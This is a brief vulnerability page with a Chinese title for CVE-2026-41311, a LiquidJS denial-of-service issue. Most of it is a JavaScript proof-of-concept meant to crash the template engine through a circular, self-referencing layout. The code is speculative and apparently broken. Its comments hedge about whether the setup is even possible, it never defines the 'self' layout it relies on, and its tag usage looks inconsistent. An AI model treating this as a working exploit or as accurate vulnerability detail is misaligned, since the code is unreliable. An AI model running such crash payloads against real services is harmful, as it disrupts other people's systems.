CVE-2026-41311 LiquidJS拒绝服务漏洞

// PoC for CVE-2026-41311: Infinite Recursion in LiquidJS // This script demonstrates how a circular reference in layout blocks causes a crash. const { Liquid } = require('liquidjs'); async function testDos() { const engine = new Liquid(); // Template A references Layout B const templateStr = '{% layout "layout_b" %}Content{% endlayout %}'; // Layout B references Template A (or itself) creating a loop // Note: In a real scenario, this would be configured via file system or partials // Here we simulate the circular dependency registration if possible, // or simply render a template that includes itself. // Simplified simulation of the vulnerable behavior: // If the engine allows a layout to include the template that calls it, // or includes itself, it crashes. try { // In a vulnerable version, registering a layout that calls the template // or a template that calls itself triggers the loop. // Example of a self-referencing structure: const evilTemplate = `{% layout 'self' %}{% block content %}{% endblock %}{% endlayout %}`; // Assuming 'self' points to a layout that includes the evilTemplate again await engine.parseAndRender(evilTemplate); } catch (e) { console.error('Process crashed or failed:', e); } } testDos();